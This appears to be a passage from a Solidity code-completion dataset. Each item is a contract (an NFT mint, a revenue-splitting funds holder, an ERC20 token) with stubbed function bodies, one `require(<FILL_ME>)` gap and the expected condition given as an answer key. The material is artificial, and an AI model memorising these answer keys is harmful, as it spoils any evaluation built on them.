mapping(address => uint256) minted;
bool public salePaused = true;
bool public preSalePaused = true;
string public contractMetadata;
string public baseTokenURI;
string erm = "Unauthorized";
constructor(string memory _contractMetadata, string memory _baseTokenURI) ERC721A("BoujeeLeopardsClub", "BLC") {
}
function _mint(address to, uint256 amount) internal {
}
function presaleMint(uint256 quantity) external payable {
uint256 mintCost = presaleCost;
uint256 supply = totalSupply();
require(!preSalePaused, "Presale paused");
require(<FILL_ME>)
require(quantity <= maxMints - minted[msg.sender], "Exceeded max mints per wallet");
require(quantity <= maxMints, "Exceeded max mints");
require(quantity > 0, "Mint atleast 1");
require(supply + quantity <= maxSupply, "Sold out!");
require(msg.value >= mintCost * quantity, "Insufficient funds");
_mint(msg.sender, quantity);
}
function mint(uint256 quantity) external payable {
}
function airdrop(address to, uint256 quantity) external {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function contractURI() public view returns (string memory) {
}
function setWhitelist(address[] calldata addresses) external{
}
function setCost(uint256 _newCost) external {
}
function setPresaleCost(uint256 _newCost) external {
}
function setBaseTokenUri(string memory _base) external {
}
function setcontractMeta(string memory _newMeta) external {
}
function pauseSale(bool _state) external {
}
function pausepreSale(bool _state) external {
}
function withdraw() external {
}
}
| whitelist[msg.sender]>0,"Not in whitelist" | 29,388 | whitelist[msg.sender]>0 |
"Sold out!" | /*
:::::::::::::::::::::::::......................................:::::::::::::::::::::::::::
::::::::::::::::::::::............................................::::::::::::::::::::::::
:::::::::::::::::::..................................................:::::::::::::::::::::
:::::::::::::::::.......::-=-::-............:::::::..........:.........:::::::::::::::::::
:::::::::::::::........:*#%%%@%@%+-:::-=+#*##*#%%##%%##*+==+%%#%#**-:....:::::::::::::::::
:::::::::::::.........:+#*#####%@@@@@%@%%@@@@@@@@%@@%@@@@@@%%@@@@@*#+.....::::::::::::::::
::::::::::::..........:+#**++*#%**%@@%@@@@%%@%@@@@@@@@@@@@@@@@@@@%**#:......::::::::::::::
:::::::::::............-%*+++*###%@@@@@@%@@@@@@%@@@@@@@@@@@@@@@@@%*#-........:::::::::::::
::::::::::.............:+#+*++*@@%%@@@@%##**#%@@@@@@@%@@@@@@@@%%%@=...........::::::::::::
::::::::::...............+##*%@@@%@@@%**#@@%#**#%@@@@%@@@@@%##%%%%%:...........:::::::::::
:::::::::................:#*@@@@@@@@@*+*****#%#**%@@@@@@@%*#%#****%%............::::::::::
:::::::::................%*%@@@@@@@@%*+#+.AA..-***@@@@@@@**#=.A.-*#@+...........::::::::::
:::::::::-====-.........*###%@@@%@@@@@#*#=:: .-*+%@%**%#*%-=:==*#@@%=...........:::::::::
:::::::=####%@@@%#++:..:@%#%#%%@@%@@@@@%#**++****+#@*+**%**#####%@@@##...........:::::::::
:::::=%@@%%@@@@@@@@##=.+%*#*#@@@@@@@@@@@@@@%%%%%##@#++++*#%%@@%@@@@@%#...........:::::::::
:::+%@@@@@@@@@@#-+@%#*=:::@%*#%@%@@@@@%@@@@@@@@@@@@**+++++*#@@@@@@@##+...........:::::::::
:-%@@@@@@@@@@@@++%%*#*+*-.@%%##**@@@@@@@@@@@@@@@@%*****#####**@@@@@**+...........:::::::::
:%#*#%%%@@@@@@@@@%%*****#=+***##+*%#@@@@@@@@@@%%%**###*+++*%%%%@%#%***...........:::::::::
:##***#@@@@%#*%@%**#***#%*..=#*###@*#@@@@@@%#*+*%%%@@@%*+*%%#*+@#+*+.............:::::::::
::+#***%@%#-.+%###***###%*...#%@@**##%*%@@@*++++++++**#%%#**+++**-..............::::::::::
::::=+***=:..-####**###@@@=..:**@@@%%%%%#@%**%@#::+-----.-++***=................::::::::::
:::::::::::...:*#*#@@%@@@@*.-=*%@@@%@@@@@##*+*@*:=--+*****+-%+.................:::::::::::
::::::::::::....-%@@@@@@@@%*--*#@@@@#**%@@@%%##%#**++*****+#%..................:::::::::::
:::::::::::::...-%@@@@@@@@%+. .-*%#+++#@#****+++++++*++++#@::::.............::::::::::::
::::::::::::::..:+@@@@@@@@%*=.. .::.:-=**%@**++*+++++++++*%%%::.-=...........:::::::::::::
:::::::::::::::...%@@@@@@%*+=-:::--. .:=#@%%%**++++++*#%@@+ .:-=-..........:::::::::::::
::::::::::::::::.=@@@%*=:..---=--:.. .::. .=*%%@%###@%%@#=..:::::=-.......:::::::::::::::
::::::::::::::::-*#+-:. .......:::::--:-:. .-+******+:: .:..::-::--:...::::::::::::::::
::::::::::::::::-:....::. ..: .==-.-. .-+**-:=-:-::=-.. .:-::::::::::::::::::
:::::::::::::::=:... :-:.. :--. .::.:+....:==:::+.. .. .--::::::::::::::::
::::::::::::::=:.... .:. ... =-.. .+. .::..:..=:::::::::::::::
::::::::::::::=..--:. .--. .--. :+--. .-*:. .::.. .:-::::::::::::::
:::::::::::::+...... .... .. . =.. .. .* .. .=::::::::::::::
:::::::::::::::::::::::╔══╦╗───╔══╗─────────╔╗────────────╔╦═╗╔═╗───╔╗::::::::::::::::::::
:::::::::::::::::::::::╚╗╔╣╚╦═╗║╔╗╠═╦╦╦╦═╦═╗║║╔═╦═╦═╦═╗╔╦╦╝║═╣║╔╬╗╔╦╣╚╗:::::::::::::::::::
:::::::::::::::::::::::─║║║║║╩╣║╔╗║╬║║╠╣╩╣╩╣║╚╣╩╣╬║╬║╬╚╣╔╣╬╠═║║╚╣╚╣║║╬║:::::::::::::::::::
:::::::::::::::::::::::─╚╝╚╩╩═╝╚══╩═╩╦╝╠═╩═╝╚═╩═╩═╣╔╩══╩╝╚═╩═╝╚═╩═╩═╩═╝:::::::::::::::::::
:::::::::::::::::::::::──────────────╚═╝──────────╚╝────────────────────::::::::::::::::::
*/
// Written by @0xmend
pragma solidity ^0.8.0;
contract BoujeeLeopardsClub is ERC721A {
using Strings for uint256;
uint256 public maxSupply = 6590;
uint256 public presaleCost = 0.07 ether;
uint256 public cost = 0.11 ether;
uint256 public maxMints = 5;
address public constant teamWallet = 0x1a3b0f6eC01e1F943BfaB58E4a7efC5A064487Ca;
address public owner;
mapping(address => uint256) public whitelist;
mapping(address => uint256) minted;
bool public salePaused = true;
bool public preSalePaused = true;
string public contractMetadata;
string public baseTokenURI;
string erm = "Unauthorized";
constructor(string memory _contractMetadata, string memory _baseTokenURI) ERC721A("BoujeeLeopardsClub", "BLC") {
}
function _mint(address to, uint256 amount) internal {
}
function presaleMint(uint256 quantity) external payable {
uint256 mintCost = presaleCost;
uint256 supply = totalSupply();
require(!preSalePaused, "Presale paused");
require(whitelist[msg.sender] > 0, "Not in whitelist");
require(quantity <= maxMints - minted[msg.sender], "Exceeded max mints per wallet");
require(quantity <= maxMints, "Exceeded max mints");
require(quantity > 0, "Mint atleast 1");
require(<FILL_ME>)
require(msg.value >= mintCost * quantity, "Insufficient funds");
_mint(msg.sender, quantity);
}
function mint(uint256 quantity) external payable {
}
function airdrop(address to, uint256 quantity) external {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function contractURI() public view returns (string memory) {
}
function setWhitelist(address[] calldata addresses) external{
}
function setCost(uint256 _newCost) external {
}
function setPresaleCost(uint256 _newCost) external {
}
function setBaseTokenUri(string memory _base) external {
}
function setcontractMeta(string memory _newMeta) external {
}
function pauseSale(bool _state) external {
}
function pausepreSale(bool _state) external {
}
function withdraw() external {
}
}
| supply+quantity<=maxSupply,"Sold out!" | 29,388 | supply+quantity<=maxSupply |
"Sale paused" | /*
:::::::::::::::::::::::::......................................:::::::::::::::::::::::::::
::::::::::::::::::::::............................................::::::::::::::::::::::::
:::::::::::::::::::..................................................:::::::::::::::::::::
:::::::::::::::::.......::-=-::-............:::::::..........:.........:::::::::::::::::::
:::::::::::::::........:*#%%%@%@%+-:::-=+#*##*#%%##%%##*+==+%%#%#**-:....:::::::::::::::::
:::::::::::::.........:+#*#####%@@@@@%@%%@@@@@@@@%@@%@@@@@@%%@@@@@*#+.....::::::::::::::::
::::::::::::..........:+#**++*#%**%@@%@@@@%%@%@@@@@@@@@@@@@@@@@@@%**#:......::::::::::::::
:::::::::::............-%*+++*###%@@@@@@%@@@@@@%@@@@@@@@@@@@@@@@@%*#-........:::::::::::::
::::::::::.............:+#+*++*@@%%@@@@%##**#%@@@@@@@%@@@@@@@@%%%@=...........::::::::::::
::::::::::...............+##*%@@@%@@@%**#@@%#**#%@@@@%@@@@@%##%%%%%:...........:::::::::::
:::::::::................:#*@@@@@@@@@*+*****#%#**%@@@@@@@%*#%#****%%............::::::::::
:::::::::................%*%@@@@@@@@%*+#+.AA..-***@@@@@@@**#=.A.-*#@+...........::::::::::
:::::::::-====-.........*###%@@@%@@@@@#*#=:: .-*+%@%**%#*%-=:==*#@@%=...........:::::::::
:::::::=####%@@@%#++:..:@%#%#%%@@%@@@@@%#**++****+#@*+**%**#####%@@@##...........:::::::::
:::::=%@@%%@@@@@@@@##=.+%*#*#@@@@@@@@@@@@@@%%%%%##@#++++*#%%@@%@@@@@%#...........:::::::::
:::+%@@@@@@@@@@#-+@%#*=:::@%*#%@%@@@@@%@@@@@@@@@@@@**+++++*#@@@@@@@##+...........:::::::::
:-%@@@@@@@@@@@@++%%*#*+*-.@%%##**@@@@@@@@@@@@@@@@%*****#####**@@@@@**+...........:::::::::
:%#*#%%%@@@@@@@@@%%*****#=+***##+*%#@@@@@@@@@@%%%**###*+++*%%%%@%#%***...........:::::::::
:##***#@@@@%#*%@%**#***#%*..=#*###@*#@@@@@@%#*+*%%%@@@%*+*%%#*+@#+*+.............:::::::::
::+#***%@%#-.+%###***###%*...#%@@**##%*%@@@*++++++++**#%%#**+++**-..............::::::::::
::::=+***=:..-####**###@@@=..:**@@@%%%%%#@%**%@#::+-----.-++***=................::::::::::
:::::::::::...:*#*#@@%@@@@*.-=*%@@@%@@@@@##*+*@*:=--+*****+-%+.................:::::::::::
::::::::::::....-%@@@@@@@@%*--*#@@@@#**%@@@%%##%#**++*****+#%..................:::::::::::
:::::::::::::...-%@@@@@@@@%+. .-*%#+++#@#****+++++++*++++#@::::.............::::::::::::
::::::::::::::..:+@@@@@@@@%*=.. .::.:-=**%@**++*+++++++++*%%%::.-=...........:::::::::::::
:::::::::::::::...%@@@@@@%*+=-:::--. .:=#@%%%**++++++*#%@@+ .:-=-..........:::::::::::::
::::::::::::::::.=@@@%*=:..---=--:.. .::. .=*%%@%###@%%@#=..:::::=-.......:::::::::::::::
::::::::::::::::-*#+-:. .......:::::--:-:. .-+******+:: .:..::-::--:...::::::::::::::::
::::::::::::::::-:....::. ..: .==-.-. .-+**-:=-:-::=-.. .:-::::::::::::::::::
:::::::::::::::=:... :-:.. :--. .::.:+....:==:::+.. .. .--::::::::::::::::
::::::::::::::=:.... .:. ... =-.. .+. .::..:..=:::::::::::::::
::::::::::::::=..--:. .--. .--. :+--. .-*:. .::.. .:-::::::::::::::
:::::::::::::+...... .... .. . =.. .. .* .. .=::::::::::::::
:::::::::::::::::::::::╔══╦╗───╔══╗─────────╔╗────────────╔╦═╗╔═╗───╔╗::::::::::::::::::::
:::::::::::::::::::::::╚╗╔╣╚╦═╗║╔╗╠═╦╦╦╦═╦═╗║║╔═╦═╦═╦═╗╔╦╦╝║═╣║╔╬╗╔╦╣╚╗:::::::::::::::::::
:::::::::::::::::::::::─║║║║║╩╣║╔╗║╬║║╠╣╩╣╩╣║╚╣╩╣╬║╬║╬╚╣╔╣╬╠═║║╚╣╚╣║║╬║:::::::::::::::::::
:::::::::::::::::::::::─╚╝╚╩╩═╝╚══╩═╩╦╝╠═╩═╝╚═╩═╩═╣╔╩══╩╝╚═╩═╝╚═╩═╩═╩═╝:::::::::::::::::::
:::::::::::::::::::::::──────────────╚═╝──────────╚╝────────────────────::::::::::::::::::
*/
// Written by @0xmend
pragma solidity ^0.8.0;
contract BoujeeLeopardsClub is ERC721A {
using Strings for uint256;
uint256 public maxSupply = 6590;
uint256 public presaleCost = 0.07 ether;
uint256 public cost = 0.11 ether;
uint256 public maxMints = 5;
address public constant teamWallet = 0x1a3b0f6eC01e1F943BfaB58E4a7efC5A064487Ca;
address public owner;
mapping(address => uint256) public whitelist;
mapping(address => uint256) minted;
bool public salePaused = true;
bool public preSalePaused = true;
string public contractMetadata;
string public baseTokenURI;
string erm = "Unauthorized";
constructor(string memory _contractMetadata, string memory _baseTokenURI) ERC721A("BoujeeLeopardsClub", "BLC") {
}
function _mint(address to, uint256 amount) internal {
}
function presaleMint(uint256 quantity) external payable {
}
function mint(uint256 quantity) external payable {
uint256 mintCost = cost;
uint256 supply = totalSupply();
if (msg.sender == owner) {
mintCost = 0;
} else {
require(<FILL_ME>)
require(quantity <= maxMints - minted[msg.sender], "Exceeded max mints per wallet");
require(quantity <= maxMints, "Exceeded max mints");
}
require(quantity > 0, "Mint atleast 1");
require(supply + quantity <= maxSupply, "Sold out!");
require(msg.value >= mintCost * quantity, "Insufficient funds");
_mint(msg.sender, quantity);
}
function airdrop(address to, uint256 quantity) external {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function contractURI() public view returns (string memory) {
}
function setWhitelist(address[] calldata addresses) external{
}
function setCost(uint256 _newCost) external {
}
function setPresaleCost(uint256 _newCost) external {
}
function setBaseTokenUri(string memory _base) external {
}
function setcontractMeta(string memory _newMeta) external {
}
function pauseSale(bool _state) external {
}
function pausepreSale(bool _state) external {
}
function withdraw() external {
}
}
| !salePaused,"Sale paused" | 29,388 | !salePaused |
"Sender is not owner" | pragma solidity ^0.4.25;
import "./SafeMath.sol";
import "./Ownable.sol";
import "./ERC20.sol";
/**
* @title Contract to hold long term persistent data
*/
contract FundsHolder is Ownable {
using SafeMath for uint256;
address public token;
address[6] public owners = [
0x535145e644d8d25E50DdA49Fb80c37D08C9862fE,
0x4dc782F14bd27e63f1e0339B582a96d53df6C55f,
0xa68358C42626f4e31820C30B09B27c4649670DE6,
0x18f7e6B5A9b39895B7f38D696C702Cd290d5D77C,
0x23C6599aAdF44Be7cbaD6D9051bb4C2255b2f713,
0x1baCaE51d1AFf3B16E0392a31CbA07E1dF8eab95
];
address community = 0x7A9dbEAd85731D7ec80D28e63aE6bACCA99F948E;
address burnAddress = 0x000000000000000000000000000000000000dEaD;
mapping (address => uint256) public balance;
mapping(address => bool) isOwner; /** All involved on the project that will get revenue */
modifier onlyOwners() {
require(<FILL_ME>)
_;
}
constructor(address _token) public {
}
function withdraw() external onlyOwners {
}
function isAddressOwner(address _address) public view returns (bool) {
}
}
| isOwner[msg.sender],"Sender is not owner" | 29,443 | isOwner[msg.sender] |
"Contract does not have any balance" | pragma solidity ^0.4.25;
import "./SafeMath.sol";
import "./Ownable.sol";
import "./ERC20.sol";
/**
* @title Contract to hold long term persistent data
*/
contract FundsHolder is Ownable {
using SafeMath for uint256;
address public token;
address[6] public owners = [
0x535145e644d8d25E50DdA49Fb80c37D08C9862fE,
0x4dc782F14bd27e63f1e0339B582a96d53df6C55f,
0xa68358C42626f4e31820C30B09B27c4649670DE6,
0x18f7e6B5A9b39895B7f38D696C702Cd290d5D77C,
0x23C6599aAdF44Be7cbaD6D9051bb4C2255b2f713,
0x1baCaE51d1AFf3B16E0392a31CbA07E1dF8eab95
];
address community = 0x7A9dbEAd85731D7ec80D28e63aE6bACCA99F948E;
address burnAddress = 0x000000000000000000000000000000000000dEaD;
mapping (address => uint256) public balance;
mapping(address => bool) isOwner; /** All involved on the project that will get revenue */
modifier onlyOwners() {
}
constructor(address _token) public {
}
function withdraw() external onlyOwners {
require(<FILL_ME>)
uint256 half = ERC20(token).balanceOf(this)/2;
uint256 amount = half/6;
uint256 percent25 = half/2;
ERC20(token).transfer(owners[0], amount);
ERC20(token).transfer(owners[1], amount);
ERC20(token).transfer(owners[2], amount);
ERC20(token).transfer(owners[3], amount);
ERC20(token).transfer(owners[4], amount);
ERC20(token).transfer(owners[5], amount);
ERC20(token).transfer(burnAddress, percent25); //burn 25%
ERC20(token).transfer(community, percent25);
}
function isAddressOwner(address _address) public view returns (bool) {
}
}
| ERC20(token).balanceOf(this)>0,"Contract does not have any balance" | 29,443 | ERC20(token).balanceOf(this)>0 |
null | pragma solidity ^0.4.21;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
}
}
/**
* @title ExchangeRate
* @dev Allows updating and retrieveing of Conversion Rates for PAY tokens
*
* ABI
* [{"constant":false,"inputs":[{"name":"_symbol","type":"string"},{"name":"_rate","type":"uint256"}],"name":"updateRate","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"data","type":"uint256[]"}],"name":"updateRates","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"_symbol","type":"string"}],"name":"getRate","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"","type":"bytes32"}],"name":"rates","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"type":"function"},{"anonymous":false,"inputs":[{"indexed":false,"name":"timestamp","type":"uint256"},{"indexed":false,"name":"symbol","type":"bytes32"},{"indexed":false,"name":"rate","type":"uint256"}],"name":"RateUpdated","type":"event"}]
*/
contract ExchangeRate is Ownable {
event RateUpdated(uint timestamp, bytes32 symbol, uint rate);
mapping(bytes32 => uint) public rates;
/**
* @dev Allows the current owner to update a single rate.
* @param _symbol The symbol to be updated.
* @param _rate the rate for the symbol.
*/
function updateRate(string _symbol, uint _rate) public onlyOwner {
}
/**
* @dev Allows the current owner to update multiple rates.
* @param data an array that alternates sha3 hashes of the symbol and the corresponding rate .
*/
function updateRates(uint[] data) public onlyOwner {
require(<FILL_ME>)
uint i = 0;
while (i < data.length / 2) {
bytes32 symbol = bytes32(data[i * 2]);
uint rate = data[i * 2 + 1];
rates[symbol] = rate;
emit RateUpdated(now, symbol, rate);
i++;
}
}
/**
* @dev Allows the anyone to read the current rate.
* @param _symbol the symbol to be retrieved.
*/
function getRate(string _symbol) public constant returns(uint) {
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
}
}
contract SmartCoinFerma is MintableToken {
string public constant name = "Smart Coin Ferma";
string public constant symbol = "SCF";
uint32 public constant decimals = 8;
HoldersList public list = new HoldersList();
bool public tradingStarted = true;
/**
* @dev modifier that throws if trading has not started yet
*/
modifier hasStartedTrading() {
}
/**
* @dev Allows the owner to enable the trading. This can not be undone
*/
function startTrading() public onlyOwner {
}
/**
* @dev Allows anyone to transfer the PAY tokens once trading has started
* @param _to the recipient address of the tokens.
* @param _value number of tokens to be transfered.
*/
function transfer(address _to, uint _value) hasStartedTrading public returns (bool) {
}
/**
* @dev Allows anyone to transfer the PAY tokens once trading has started
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
}
function mint(address _to, uint _amount) onlyOwner canMint public returns (bool) {
}
}
contract HoldersList is Ownable{
uint256 public _totalTokens;
struct TokenHolder {
uint256 balance;
uint regTime;
bool isValue;
}
mapping(address => TokenHolder) holders;
address[] public payees;
function changeBalance(address _who, uint _amount) public onlyOwner {
}
function notInArray(address _who) internal view returns (bool) {
}
/**
* @dev Defines number of issued tokens.
*/
function setTotal(uint _amount) public onlyOwner {
}
/**
* @dev Returnes number of issued tokens.
*/
function getTotal() public constant returns (uint) {
}
/**
* @dev Returnes holders balance.
*/
function returnBalance (address _who) public constant returns (uint){
}
/**
* @dev Returnes number of holders in array.
*/
function returnPayees () public constant returns (uint){
}
/**
* @dev Returnes holders address.
*/
function returnHolder (uint _num) public constant returns (address){
}
/**
* @dev Returnes registration date of holder.
*/
function returnRegDate (address _who) public constant returns (uint){
}
}
| data.length%2<=0 | 29,474 | data.length%2<=0 |
null | pragma solidity ^0.4.21;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
}
}
/**
* @title ExchangeRate
* @dev Allows updating and retrieveing of Conversion Rates for PAY tokens
*
* ABI
